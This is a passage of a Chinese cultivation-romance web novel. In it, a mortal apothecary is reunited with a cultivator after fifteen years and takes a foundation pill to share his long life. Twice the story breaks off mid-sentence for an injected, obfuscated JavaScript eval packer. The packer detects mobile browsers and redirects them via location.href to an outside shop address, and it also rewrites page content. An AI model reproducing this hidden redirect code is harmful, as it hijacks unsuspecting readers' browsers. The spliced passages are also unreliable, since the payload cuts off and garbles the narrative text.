脑子里乱哄哄的,像有一百只蜜蜂在飞。想说什么,可嘴巴张开了,又不知道说什么好。想往前走一步,可脚底下像生了根,动不了。 最后我低头看了看自己。 围裙上沾着灶灰,黑一块白一块的。手上还有择菜留下的泥,指甲缝里都是。脚上穿着那双破布鞋,鞋面上还溅了几滴油渍。 狼狈得很。 可不知怎么的,我看着自己这副模样,忽然有点想笑。 “你……”我终于挤出声音,哑得不像我自己,“你吃了没?” 他愣了一下。 那双深潭一样的眼睛里,有什么东西动了一下。 然后他的眼眶红了。 不是那种一下子涌出来的红,是慢慢从眼底漫上来的,像墨滴进水里,一点一点洇开。他的睫毛颤了颤,嘴唇动了动,像是想说什么,可又说不出来。 就那么看着我。 看了很久。 久到夕阳又往下落了一点,久到影子又拉长了一点,久到远处传来谁家孩子的笑声,又飘远了。 “没有。”他说,声音比刚才更哑了,哑得像是从嗓子眼里硬挤出来的,“我想喝雪梨汤。” 雪梨汤。 我十五年前给他炖过的那一碗。 那天晚上,他刚醒过来没多久,发着烧,烧得迷迷糊糊的。我给他喂药,他喝不进去,全吐了。我就炖了一碗雪梨汤,晾温了,一点一点喂给他。他喝了小半碗,又睡过去。第二天早上醒来,烧退了。 后来他问过我,那天晚上给他喝的是什么。我说雪梨汤,润肺止咳的。他点点头,没再说什么。 从那以后,每次他身子不舒服,我就会给他炖一碗雪梨汤。 他走的那天晚上,我没来得及给他炖。 我站在门口,看着他。 夕阳的余晖落在他脸上,把他眉眼间的神色照得清清楚楚。那里面有太多东西——有想念,有愧疚,有害怕,有期待。像一个走了很远路的人,终于回到家门口,却不敢敲门。 我往旁边让了让。 “进来吧。” 他迈进门槛。 那一步迈得很慢,像是怕惊醒什么似的。脚落地的时候,他甚至低头看了一眼,好像要确认自己真的踩在这片地上了。 我关上门,跟在他后面,穿过店面,进了后院。 院子里,老槐树的叶子还在滴水。雨后的空气湿漉漉的,混着泥土和青草的气味。井台边的青苔被雨水洗得碧绿碧绿的,像一块上好的绒毯。石桌石凳上还有水迹,亮晶晶的,映着天边最后一点光。 他站在院子中央,抬头看着那棵老槐树。 他就那么仰着脖子,一动不动地看着。看着树干上那道十五年前的裂痕——那道裂痕我用泥巴糊过,又长出了新皮,现在只剩下一条浅浅的疤。看着那些伸得老远的枝丫,有的已经枯了,有的还在发新芽。看着那些被雨水洗过的叶子,绿得发亮,在风中轻轻摇晃。 他看了很久很久。 久到我以为他要一直站到天黑。 然后他低下头,看着井台,看着石桌,看着那几间屋子的门,看着晾衣绳——晾衣绳上还挂着我今天洗的衣裳,在风里飘来飘去。 他的目光扫过每一寸地方,扫得很慢,很仔细。 最后,他转过头,看向我。 “还是那样。”他说。 我点点头:“还是那样。” 他嘴角动了动。 那是很轻微的一下,不仔细看都看不出来。但我看见了。 十五年前,他也这样动过一回。 “你先坐着,”我说,“我去炖汤。” 我转身进了灶房。 灶膛里的火还没熄,我添了几根柴,把火烧旺。然后从筐里拿了两个雪梨,洗干净,削皮,去核,切成小块。又从柜子里翻出老姜,切了几片。 砂锅里的汤已经炖好了,我把砂锅端下来,换了个小锅,把雪梨和姜片放进去,加上水,放了几块冰糖,盖上盖子,放到炉子上。 火苗舔着锅底,发出呼呼的声响。 我蹲在灶前,看着火,听着锅里的水慢慢烧开。 身后有脚步声。 我没回头。 脚步声停在我身后,离我不远不近的地方。 “沈当归。”他开口。 “嗯?” “你……没怎么变。” 我笑了一声:“老了,白头发都有了。” 他沉默了一会儿。 “我看见了。”他说。 我转过头看他。 灶膛里的火光映在他脸上,一跳一跳的。他的眼睛亮亮的,像是有水光在里头。 “不多,”他说,“就几根。” 我转回去继续看火:“几根也是老了。” 他没说话。 锅里的水开了,咕嘟咕嘟冒着泡。我用勺子搅了搅,把火调小一点,慢慢炖。 他就那么站在我身后,也不说话,就那么站着。 灶房里只有锅里的咕嘟声,和柴火燃烧的噼啪声。 过了好一会儿,我忽然问:“你这些年,过得好不好?” 身后沉默了很久。 久到我以为他不会回答了。 然后他开口,声音低低的:“不好。” 我手上的动作顿了顿。 我以为他会说修炼有多苦,被追杀有多难,在宗门里站稳脚跟有多不容易。我以为他会讲那些惊心动魄的故事,讲那些我听都没听过的奇遇。 可他没有。 他只是说:“没有雪梨汤喝。” 我愣了一下。 然后不知道怎么回事,眼眶忽然有点酸。 我没回头,只是用勺子继续搅着锅里的汤。 “这回管够。”我说。 雪梨汤炖了小半个时辰,炖到梨肉都软了,汤色变得清亮亮的,飘着淡淡的甜香。 我拿碗盛了一碗,端着走出灶房。 他还站在院子里,站在那棵老槐树下。 天已经黑了。月亮升起来,又大又圆,把整个院子照得亮堂堂的。月光落在他身上,把他整个人都笼在一层银白色的光晕里。 我端着碗走到石桌边,把碗放在桌上。 “过来喝。” 他走过来,在石凳上坐下。 那个石凳,是他以前常坐的那个。靠左边一点,对着灶房的门。他那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357914|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候总坐在那儿,看我进进出出,或者自己发呆。 他坐下来,双手捧起碗。 碗里的汤还是温热的,飘着丝丝缕缕的白气。几块雪梨浮在汤里,半透明的,像玉雕的。几片姜黄黄的,在汤里沉沉浮浮。 他低头看着那碗汤,看了好一会儿。 然后他端起碗,喝了一口。 就那么一口。 然后他的眼泪就掉下来了。 没有声音,就是眼泪一颗一颗往下掉,砸在碗里,砸在桌上,砸在他自己的手背上。他就那么端着碗,低着头,让眼泪一直掉。 我没劝,也不知道怎么劝。 只是在他对面坐下,安安静静地坐着。 月亮从槐树梢头慢慢升起来,又慢慢往西边挪。风吹过来,带着初秋的凉意,老槐树的叶子哗哗地响。 他就那么端着那碗汤,哭了很久。 久到碗里的汤都快凉了。 然后他抬起头,看着我。 月光底下,他的眼睛红红的,湿湿的,亮亮的。 “沈当归,”他开口,声音哑得厉害,“我等了十五年。” 我说:“我知道。” “我找过你。” “我知道。” “我找不到。” “我知道。” 他看着我,嘴唇动了动,像是想说什么。 我等了一会儿,他没说出来。 我就替他说了:“你以为我死了。” 他点点头。 我笑了笑:“我没死。一直在这儿。” 他低下头,看着碗里剩下的半碗汤。 “那年我回来过。”他说。 我愣了一下。 “什么时候?” “第七年。”他说,“我从北边回来,绕道来这里。铺子还在,但门锁着。我等了三天,你没回来。” 我张了张嘴,想说什么,又咽了回去。 第七年。 那一年,我确实不在。 那一年,我娘那边的亲戚出了事,我去了一趟邻县,待了两个多月。 就那么错过了。 “后来我又来过一回。”他说,“第十一年。铺子开着,但我没敢进去。” “为什么?” 他沉默了一会儿。 “我看见你了。”他说,“你在院子里晒药材,跟一个买药的人说话。你……笑了。” 我不明白:“那你怎么不进来?” 他抬起头看我。 月光底下,他的眼睛里有很复杂的神色。 “我怕。”他说,“怕你忘了我。怕你有了新的人。怕我进来之后,你不知道该怎么对我。” 我听着,没说话。 他低下头,继续说:“后来我就想,等你老了,不在了,我再回来。回来看看这个院子,看看这棵老槐树,看看那间灶房。然后我就走。” “那现在呢?”我问,“怎么又进来了?” 他抬起头,看着我。 那双眼睛里的水光还在闪。 “仙舟飞过的时候,”他说,“我看见你了。” “看见我了?” “嗯。”他说,“你站在铺子门口,仰着头看。看了一会儿,就低下头,去收你的药材了。” 我想起那天的事。 仙舟飞过的时候,我确实站在门口看了。看了几眼,就低头收药材去了。 “你看见我了?”我问。 他点点头。 “那么高,那么远,你能看见?” 他没回答,只是说:“我看见你了。你在收枸杞,一捧一捧往袋子里装。动作还是那样,跟以前一样。” 我听着,不知道该说什么。 “那一刻我就想,”他说,“我得下来。不管你还记不记得我,不管你怎么对我,我得下来。哪怕就看一眼,跟你说句话,喝一碗你炖的汤。” 他端起碗,把剩下的汤喝完了。 放下碗,他看着我。 “沈当归,”他说,“我回来了。” 月光底下,他就那么看着我。 十五年了。 我看着他,忽然想起他刚来那会儿,瘦得皮包骨头,发着烧,说胡话。想起他蹲在我旁边,问这叫什么、那叫什么。想起他站在院子里,握着竹竿,挡在我面前。想起他化作流光飞走之前,回头看我的那一眼。 我张了张嘴,想说点什么。 可话到嘴边,又咽回去了。 最后我只是伸出手,把他面前的空碗拿过来。 “汤还有,”我说,“再给你盛一碗。” 7. 第 7 章 第七章那十五年 那晚我们在院子里坐到很晚。 月亮升到了老槐树顶上,又大又圆,把整个院子照得亮堂堂的。月光从枝叶的缝隙里漏下来,在地上洒了一片碎银子,风一吹,那些光斑就晃啊晃的,晃得人眼睛发花。 石桌上放着两碗汤。他那碗已经喝完了,空碗搁在桌上,碗底还残留着一圈淡淡的汤渍。我这碗还没动,汤早就凉了,表面结了一层薄薄的膜。 于玄讲了些这些年的事。 他说话的时候,一直看着那棵老槐树。月光落在他脸上,把他的侧脸照得轮廓分明。那眉眼,那鼻梁,那微微抿着的嘴唇,跟我记忆里的一模一样。 原来他当年是灵剑宗的杂役弟子。 “没有灵根,”他说,声音很平静,像是在讲别人的故事,“只能做些打杂的活计。挑水、砍柴、打扫院子,干的都是最苦最累的活。那些有灵根的弟子,看我们就像看路边的野草。” 他顿了顿,又说:“可我不甘心。” “不甘心什么?” “不甘心这辈子就这样了。”他转过头看我,“你明白那种感觉吗?明明就在仙门里,天天看着别人修炼,看着别人飞在天上,看着别人一步一步往上走。可自己只能在地上爬,连抬头看的机会都没有。” 我没说话。 他又转回去,继续看着老槐树。 “所以我就偷偷学。” “学什么?” “功法。”他说,“晚上,等所有人都睡了,我就躲到后山,照着偷看来的口诀练。没有师父教,没有丹药辅助,什么都不懂,就硬练。练得吐血,练得浑身疼,还是练。” 我想起他刚来的时候,发着烧说的那些胡话。 “我能修……我能修的……” “别赶我走……” 原来是这样。 “后来呢?”我问。 “后来被发现了。”他说,声音还是那么平静,“有个长老巡查的时候撞见我,说我偷学功法,是死罪。打了一顿,废了修为,扔下了山崖。” 他说得轻描淡写,可我知道那“打了一顿”背后有多少血,那“扔下了山崖”背后有多少痛。 我张了张嘴,想说什么,又觉得说什么都不合适。 他倒像是没事人一样,继续说:“然后我就遇见你了。” 我愣了一下。 “那时候我已经在山里躺了三天,”他说,嘴角动了动,像是想笑,“以为自己要死了。然后你来了,把我背回去,给我喂药,给我熬粥。” 他转过头看我。 月光底下,他的眼睛亮亮的。 “沈当归,你知道我醒来第一眼看见你的时候,在想什么吗?” 我摇摇头。 “我在想,原来这世上还有这样的人。”他说,“不问我是谁,不问我从哪里来,不问我做了什么。就只是……救我。” 我被他看得有些不自在,低下头去摸那碗凉了的汤。 “那是你没遇见坏人。”我嘀咕了一句。 他笑了。 那是我头一回听见他笑出声来。很轻的一声,像是风拂过竹叶,沙沙的。 “遇见了。”他说,“你就是。” 我抬起头瞪他。 他眼睛里全是笑意。 后来他继续说。 那个被他撞见的散修,是他在山下养伤的时候遇到的。那人路过青崖镇,在铺子里喝了一碗汤,多看了他几眼。 “那人说,你这个小家伙,灵根倒是稀奇。”于玄说,“我那时候才知道,我不是没有灵根,而是灵根太强,寻常的功法根本测不出来。” “太强?”我不太懂,“强还不好?” 他摇摇头:“太强的灵根,普通人承受不住。所以身体会自动把它封起来,看起来就跟没有一样。只有遇到真正懂的人,才能解开。” “那后来呢?” “后来师父就收了我。”他说,“带我走遍天下,教我真正的功法。三年后,我回灵剑宗,挑战了当年那个长老。” “赢了?” 他点点头。 月光底下,他脸上没什么表情,好像在说一件稀松平常的事。 可我知道那不是稀松平常的事。一个被打成重伤、扔下山崖的杂役弟子,三年后回去挑战长老,还赢了。这中间有多少血,多少汗,多少不眠的夜晚,我不敢想。 “然后呢?” “然后就是修炼,渡劫,再修炼,再渡劫。”他说得轻描淡写,“一眨眼,十五年就过去了。” 我听着,没说话。 院子里很静。老槐树上有一只蝉在叫,声音细细的,拉得老长。风吹过来,带着初秋的凉意,叶子哗哗地响了几声,又安静下去。 我忽然问:“那你现在是什么境界?” 他转过头看我:“你好奇了?” 我摇摇头:“不好奇。” “为什么?” “你是什么境界,跟我有什么关系?”我说,“你在我这儿,就是于玄。” 他愣住了。 月光底下,他就那么看着我,看了很久很久。 那双眼睛里有太多东西在翻涌,像深潭里起了波澜,一圈一圈往外荡。他的嘴唇动了动,像是想说什么,可又没说出口。 最后,他低下头。 然后他笑了。 不是刚才那种轻轻的笑,是真正的笑。肩膀抖动着,喉咙里发出低低的笑声,整个人都在笑。他笑得那么厉害,笑得眼泪都出来了,笑得趴在石桌上,半天直不起腰。 我被他笑蒙了:“你笑什么?” 他抬起头,月光底下,他的眼睛湿湿的,亮亮的,脸上全是笑意。 “沈当归,”他说,“你还是这样。” 我莫名其妙:“哪样?” 他没回答,只是笑着摇头。 那天晚上,我们聊到很晚。 他说他这些年去过很多地方。北境的雪原,南疆的密林,东海的小岛,西域的沙漠。见过各种各样的风景,遇见过各种各样的人。 “北境的雪原,一年有半年是冬天。”他说,“雪能埋到膝盖那么深,走出去,满眼都是白的,白的晃眼。有一次我走了三天三夜,一个人都没遇见,只有雪和风。” 我听着,想象那个画面。 白的雪,白的天空,白的风。一个瘦瘦的身影,在雪地里一步一步往前走,身后留下一串深深的脚印。 “那时候我在想什么你知道吗?”他转过头看我。 “想什么?” “想你的汤。”他说,“想那碗雪梨汤。想着要是能喝上一口,该有多暖和。” 我听着,心里有些不是滋味。 “那你怎么不早点回来?” 他沉默了一会儿。 月光底下,他的侧脸笼着一层淡淡的银光。睫毛垂下来,在眼睑下投出一小片阴影。 “我怕。”他说。 “怕什么?” “怕你已经……”他顿了顿,没说完。 但我知道他要说什么。 怕我已经不在了。 凡人寿命有限,他比谁都清楚。十五年了,对于一个凡人来说,十五年可以发生很多事。可以娶妻生子,可以病老死去,可以离开这个地方,再也不回来。 “所以我想,”他说,“等我渡了劫,就回来看看。不管你在不在,我都想回来看看。” 他抬起头看着我。 月光底下,那双眼睛里有太多东西。有想念,有愧疚,有害怕,有期待。还有一些我看不懂的东西,很深,很重,像压了多少年的心事。 我看着他的眼睛,忽然不知道该说什么。 过了好一会儿,我才开口:“你渡劫了?” 他点点头。 “成功了吗?” 他又点点头。 “那现在,”我说,“你是不是该飞升了?” 他愣了一下。 就那么愣在那儿,看着我。 我也看着他。 月光从老槐树的枝叶间漏下来,落在我们中间那张石桌上。碗里的汤早就凉了,表面结了一层薄薄的膜,在月光下泛着淡淡的光。 “沈当归。”他开口。 “嗯?” “你希望我走吗?” 我想了想,摇摇头。 “那我不走。” 我又愣了一下。 “你不飞升了?” 他看着我,嘴角弯了弯。 “飞升是什么?”他说,“是去更高的地方,见更大的世界。可我去过了。” “去过了?” 他点点头:“这些年的修炼,让我明白一件事。境界再高,飞升再远,心里空落落的,跟没飞升一样。可要是有个地方,能让我坐下来,安安静静喝碗汤,那比什么境界都强。” 我听着,没说话。 他又说:“沈当归,你这些年,有没有想过修炼?” 我愣住了。 “什么?” “那颗筑基丹,”他说,“你为什么不吃?” 我张了张嘴,没说出话来。 他看着我,等我的回答。 院子里忽然静下来。连那只蝉都不叫了,风也停了,老槐树的叶子一动不动。 过了好一会儿,我才说:“你怎么知道我吃了没吃?” “我能看出来。”他说,“你身上没有一丝灵力。还是凡人。” 我没说话。 “为什么?”他问。 我想了想,说:“万一你回来找不着我呢?” 他愣住了。 月光底下,他的眼眶又红了。 “沈当归,”他开口,声音有些哑,“你就为了这个?” 我点点头。 他看着我,看了很久很久。 久到月亮又往西挪了一截,久到我的那碗汤彻底凉透。 然后他忽然伸出手,握住了我放在桌上的手腕。 他的手很凉,像井水一样凉。可又很有力,握着我的手腕,像是怕我跑掉似的。 “沈当归,”他说,“你知不知道,你现在吃那颗丹药还来得及?” 我愣了一下。 【叮——检测到重要信息:宿主服用筑基丹的最佳时机即将错过。建议立即服用。】 系统忽然冒出来,吓了我一跳。 【凡人服用筑基丹的最佳年龄为三十岁之前。宿主现年三十五岁,已接近临界点。若再拖延,药效将大打折扣。】 我愣在那儿,听着系统的话。 【服用筑基丹后,宿主可延年益寿,百病不生。若配合修炼,更可突破凡人极限,与修仙者共度漫长岁月。】 【检测到宿主与于玄真人情感深厚,建议考虑服用丹药,再续前缘。】 于玄见我发呆,问:“怎么了?” 我回过神来,看着他。 月光底下,他的眼睛亮亮的,里面有期待,有紧张,还有一点点害怕。 “你希望我吃?”我问。 他点点头。 “为什么?” 他沉默了一会儿,然后说:“因为我等了你十五年,不想只等来这几十年。” 我愣住了。 他又说:“沈当归,我想跟你在一起。不是一年两年,不是十年二十年。是很久很久。” 月光底下,他就那么看着我,眼睛里全是认真。 我张了张嘴,想说点什么,又不知道该说什么。 最后我说:“你让我想想。” 他点点头,松开了我的手腕。 那天晚上,我躺在床上,翻来覆去睡不着。 脑子里乱七八糟的,一会儿是他刚才说的话,一会儿是系统说的话,一会儿又是这些年自己一个人在院子里发呆的夜晚。 【宿主是否在犹豫?】 我没理它。 【系统建议宿主考虑以下几点:】 【第一,宿主与于玄真人情感深厚,十五年来念念不忘。】 【第二,凡人寿命有限,最多不过百年。而于玄真人已渡劫,寿命以千年计。若不修炼,终将阴阳两隔。】 【第三,筑基丹最佳服用时机即将错过,请宿主尽快决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357915|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策。】 我还是没理它。 可它说的那些话,却在我脑子里转来转去,赶都赶不走。 我想起他刚走那几年,自己一个人坐在院子里,对着月亮发呆。想起他说的那些话——“我等了你十五年”、“我怕你已经不在了”、“我想跟你在一起很久很久”。 又想起这些年自己攒的那些药材,那些按系统教的法子炮制的灵芝、雪莲、龙涎草。那时候想的,就是等他回来,把他养得白白胖胖的。 现在他回来了。 可我呢? 我还是那个凡人沈当归。会老,会病,会死。最多再过四十年,五十年,就没了。 到时候他怎么办? 再等十五年?再等五十年? 我翻了个身,看着窗户纸透进来的月光。 忽然想起那年我生病,烧得迷迷糊糊的,梦见他站在床前看着我。那时候我想,要是能再见他一面就好了。 现在见着了。 可然后呢? 【检测到宿主情绪波动较大。系统再次建议:服用筑基丹,开启修炼之路。】 我从床上坐起来。 月光从窗户纸里透进来,把屋里照得朦朦胧胧的。墙角那个柜子里,就放着那颗筑基丹。十五年了,它一直在那儿,等着我。 我下了床,走到柜子前,打开柜门,拿出那个木匣子。 打开木匣子,拿出那个白底青花的小瓷瓶。 拔开塞子,把丹药倒在掌心里。 淡金色的,有龙眼那么大,圆滚滚的,在月光下泛着柔和的光。那股清香还在,清清冷冷的,吸进鼻子里,整个人都精神了几分。 我就那么看着它,看了很久。 【宿主,请尽快决策。】 我想起他刚回来的时候,站在门口,眼眶红红的,说“我想喝雪梨汤”。 想起他坐在石桌边,端着碗,眼泪一颗一颗往下掉。 想起他握着我的手腕,说“我想跟你在一起很久很久”。 我又想起这些年,自己一个人在院子里晒药材,一个人对着月亮发呆,一个人把那几件素色衣裳收了又挂、挂了又收。 我把丹药放回瓶子里,塞好塞子,攥在手里。 然后我推开门,走到院子里。 他还坐在那儿。 坐在那个石凳上,对着老槐树发呆。听见动静,他转过头来,看见我,愣了一下。 “怎么还没睡?”他问。 我走过去,在他对面坐下。 然后把那个瓷瓶放在石桌上。 他看了看那个瓷瓶,又看了看我,眼睛里有些不解。 “于玄。”我说。 “嗯?” “我问你一件事。” “你说。” 我看着他的眼睛,月光底下,那双眼睛黑黑的,亮亮的。 “我要是吃了这丹药,”我说,“能活多久?” 他愣了一下,然后说:“筑基之后,可活两百年。若能结丹,五百年。若能元婴,一千年。若能化神,三千年。若能渡劫……” 我打断他:“那你呢?你还能活多久?” 他沉默了一会儿。 “渡劫之后,”他说,“若无意外,可活万年。” 万年。 我点点头。 万年。 我又问:“那我要是不吃呢?” 他没说话。 月光底下,他的眼睛暗了暗。 “那我能陪你多久?”我问,“四十年?五十年?” 他还是没说话。 我把那个瓷瓶拿起来,在手里转了转。 “于玄,”我说,“你知道这些年我是怎么过的吗?” 他看着我,等着我说。 “我每天起来,熬汤,看铺子,收药材。晚上没事,就坐在院子里,对着月亮发呆。”我说,“有时候想起你,有时候不想。日子就那么过,一年又一年。” 他听着,没说话。 “我从来没想过修炼。”我说,“因为我觉得,做人挺好,做凡人挺好。生老病死,本来就是人该走的路。” 他低下头。 “可是你回来了。”我说,“你回来了,我就不敢死了。” 他抬起头看我。 月光底下,他的眼睛亮亮的,有什么东西在闪烁。 “我怕我死了,你一个人怎么办。”我说,“怕你再等十五年,再等五十年,等到的只是一座坟。” 我说着说着,忽然发现自己眼眶也酸了。 “沈当归……”他开口。 我打断他:“你别说话。让我把话说完。” 他闭上嘴。 我看着手里的瓷瓶,看了很久。 然后我说:“于玄,这药我吃。” 他愣住了。 “但是不是为了活一万年。”我抬起头看着他,“是为了能陪你,久一点。” 月光底下,他就那么看着我,眼眶红红的,嘴唇动了动,想说什么又说不出来。 我把瓷瓶的塞子拔开,把那颗丹药倒在掌心里。 淡金色的,圆滚滚的,在月光下泛着柔和的光。 我抬起头,看着他。 “于玄,”我说,“我吃了这颗药,就不再是凡人了。以后的路,你得带着我走。” 他看着我,月光底下,他的眼泪又掉下来了。 可这回他是笑着的。 “好。”他说,声音哑得厉害,“我带着你走。” 我把那颗丹药放进嘴里。 入口即化,一股清凉顺着喉咙滑下去,然后迅速散开,散到四肢百骸。那股清凉所到之处,像有什么东西在身体里涌动,又像有什么东西在被清洗。不疼,但很奇妙,像是整个人都在发光。 我看着于玄,他也看着我。 月光底下,我们中间那张石桌上,还放着那碗凉透的汤。 我忽然笑了。 “于玄,”我说,“汤凉了。” 他愣了一下,然后也笑了。 “没事,”他说,“以后有的是机会喝。” 8. 第 8 章 第八章修行 那颗丹药入口之后,我昏睡了三天三夜。 迷迷糊糊的,只觉得浑身像被火烧,又像被冰镇。一会儿热得出汗,一会儿冷得发抖。身体里好像有什么东西在流动,顺着经脉,走遍四肢百骸。那种感觉很奇妙,像是在被重新塑造。 于玄一直守着我。 我醒过来的时候,是第四天清晨。窗外头天刚蒙蒙亮,老槐树上鸟在叫,叽叽喳喳的。阳光从窗户纸里透进来,在地上铺了一小块金黄。 我睁开眼,就看见于玄坐在床边。 他靠在床柱上,闭着眼睛,像是睡着了。眉头微微皱着,嘴唇抿着,还是那副睡不安稳的模样。月光早就没了,晨光落在他脸上,把他眉眼间的疲惫照得清清楚楚。 我看着他,忽然想起十五年前,他也是这样守着我。 那时候我发着烧,他刚能下地,就坐在我床边,一遍一遍给我换帕子。我迷迷糊糊的,能感觉到他手心的温度。 现在轮到他守着我了。 我轻轻动了动手指。 就那么一下,他立刻就醒了。 睁开眼,看见我,他愣了一下,然后眼眶就红了。 “醒了?”他问,声音哑哑的。 我点点头。 他伸出手,探了探我的额头。 他的手很凉,像是刚从井水里捞出来。可那动作很轻,像怕碰坏什么似的。 “烧退了。”他说,嘴角弯了弯。 我看着他,忽然问:“你守了几天?” 他没回答。 我又问:“三天?” 他还是没回答。 但我知道了。 我伸出手,握住他的手腕。他的手凉凉的,我的却是温热的。 “于玄,”我说,“我没事了。” 他低下头,看着我的手。 然后他忽然反手握住我,握得很紧。 “沈当归,”他说,声音有些颤,“你知道这几天我有多怕吗?” 我愣了一下。 “我怕你醒不过来。”他说,“怕那颗丹药对你来说太烈了。怕我好不容易回来,你又……” 他没说完。 但我懂了。 我握紧他的手,没说话。 窗外的鸟叫得更欢了,阳光也更亮了。 筑基之后,我身体变了很多。 最明显的是力气大了。以前挑水,一担水挑起来有些吃力,现在轻轻松松。去后山采药,以前爬不上去的陡坡,现在几步就上去了。 眼睛也亮了。以前傍晚就看不清东西,现在天黑透了还能看见院子里的蚂蚁爬。 耳朵也灵了。以前隔着一条街就听不清,现在镇子那头有人说话,我都能听见。 最奇妙的是,我能感觉到身体里有什么东西在流动。 “那是灵气。”于玄说,“筑基之后,身体就能吸收天地灵气,滋养经脉。你现在只是刚入门,以后慢慢修炼,会越来越强。” 我听着,点点头。 然后我问:“那我现在算不算修仙的人了?” 他想了想,说:“算。但只是最基础的筑基期。” “那我接下来要做什么?” 他看着我,眼睛里有笑意。 “你想做什么?” 我想了想,说:“我想去后山转转。” 他愣了一下。 “后山?” “嗯。”我说,“这些年我采药,好多地方想去去不了。太陡的坡,太深的林子,太远的山头,都只能看着。现在有力气了,想去看看。” 他看着我,嘴角弯了弯。 “好。”他说,“我陪你去。” 那天下午,我们去了后山。 十五年了,后山还是那个后山。竹林还是那片竹林,溪流还是那条溪流,老松树还是那棵老松树。只是路更难走了,藤蔓爬得到处都是,有些地方被雨水冲出了沟。 于玄走在我旁边,时不时看我一眼。 我顺着熟悉的山路往上走,走到那片竹林深处,走到那棵老松树下。 就是这里。 十五年前,我就是在这里捡到他的。 我站住了,看着那棵老松树。 树干还是那么粗,树皮还是那么皴裂,枝叶还是那么茂密。只是底下那堆松针,不知道换了多少茬。 于玄也站住了。 他顺着我的视线看过去,忽然愣了一下。 “这是……” “嗯。”我说,“就是这儿。” 他没说话。 过了好一会儿,他忽然说:“沈当归。” “嗯?” “谢谢你。” 我转过头看他。 日光从竹叶的缝隙里漏下来,落在他身上,洒了一片斑驳的光影。他就那么站着,看着我,眼睛里亮亮的。 我笑了笑:“谢什么谢。碰上了,总不能见死不救。” 他也笑了。 那笑容在日光底下,比十五年前那个模模糊糊的笑,清楚多了。 从那天起,我们开始一起走。 起初只是在后山转。把那些我这些年想去去不了的地方,都走了一遍。最高的那座山峰,最深的那条峡谷,最远的那片山林。有些地方风景真好,站在山顶,能看见整个青崖镇,灰瓦白墙的房子,一块一块的田野,还有更远处连绵的山。 后来走得远了。 有时候去隔壁的镇子,看看那里的集市,尝尝那里的吃食。有时候去县城,逛逛那些我从没进过的铺子,看看那些稀奇古怪的玩意儿。有时候只是沿着山路走,走到哪儿算哪儿,走累了就坐下来歇歇,看看天,看看云,看看路边的野花。 于玄一直陪着我。 他不催我修炼,不跟我说那些修仙的事。就是陪着我走,看着我,偶尔说几句话,大部分时候安安静静的。 有一回我问他:“你不觉得无聊吗?” 他愣了一下:“什么?” “你一个渡劫期的真人,整天陪着我一个刚筑基的凡人,在这山沟沟里转来转去。”我说,“不无聊吗?” 他想了想,说:“不无聊。” “为什么?” 他看着我,日光底下,他的眼睛亮亮的。 “因为你在这儿。”他说。 我被他看得有些不自在,低下头继续走路。 他在后面笑了一声,跟上来了。 我们去了很多地方。 春天,去南边的山里看映山红。漫山遍野的红色,像火烧一样,从山脚烧到山顶。于玄站在花丛里,脸上映着淡淡的红光,忽然转过头看我,问我明年还来不来。 我说来。 他就笑了。 夏天,去北边的湖边钓鱼。湖水清清亮亮的,能看见水底的石头和游鱼。我坐在岸边,拿着鱼竿,一坐就是一整天。于玄在旁边陪着,有时候帮我穿鱼饵,有时候就坐着发呆。钓上来的鱼,就地烤着吃,撒点盐,香得能吞掉舌头。 秋天,去西边的山上看红叶。那些枫树,一片一片的,红的黄的橙的,像打翻了颜料缸。我们走在落叶上,脚下沙沙地响。于玄捡起一片红叶,递给我,说留着做书签。 我接过来,放进了怀里。 冬天,去东边的镇子看雪。那里的雪比青崖镇的大,能埋到膝盖。我们踩着雪,咯吱咯吱地走,走到镇外的小山上,看下面的房子都盖着厚厚的白被子。于玄站在我旁边,呵出的白气飘在空中,他说他想起北境雪原了。 我问他想回去吗。 他说不想。北境只有雪,这儿有雪,还有你。 就这么走了一年又一年。 我不知道走了多久。三年?五年?还是更久? 时间变得模糊了。不像是以前那样,一天一天数着过。现在的日子,像一条缓缓流动的河,不知不觉就流过去了。 我的修为也在慢慢涨。筑基中期,筑基后期,然后结丹。 结丹那天,没什么特别的。就是坐在院子里,忽然感觉身体里有什么东西凝成了一团。暖暖的,亮亮的,像有一颗小太阳在丹田里。 于玄在旁边看着我,等我睁开眼,他问:“结丹了?” 我点点头。 他笑了笑:“比我想的快。” 我问:“快吗?” 他说:“一般人筑基到结丹,要几十年。你才几年?” 我想了想,还真想不起来几年了。 于玄看着我,眼睛里有笑意。 “沈当归,”他说,“你真是个怪人。” 我问他:“哪里怪?” 他说:“别的修仙的人,恨不得一天十二个时辰都在修炼。你可好,天天想着去哪儿玩,吃什么,看什么。修炼跟玩儿似的。” 我听着,想了想,说:“那要不我以后多修炼会儿?” 他笑了:“不用。就这样挺好。” 我也笑了。 结丹之后,我们走得更远了。 有时候一走就是几个月,从春天走到夏天,从秋天走到冬天。走到哪儿算哪儿,看见好的风景就停下来,住几天,看够了再走。 我发现自己越来越喜欢这样的日子。 没有目的,没有期限,就是走,就是看,就是陪着他。 于玄也喜欢。 他比我还喜欢。每次到一个新地方,他就眼睛亮亮的,看什么都新鲜。有时候我问他,你以前不是来过吗?他说来过是来过,可那时候是一个人,现在是你陪着,不一样。 我说有什么不一样。 他想了想,说:“一个人看,再好看也就是好看。你陪着看,好看的风景就更好了,不好看的风景也变好了。” 我听着,没说话。 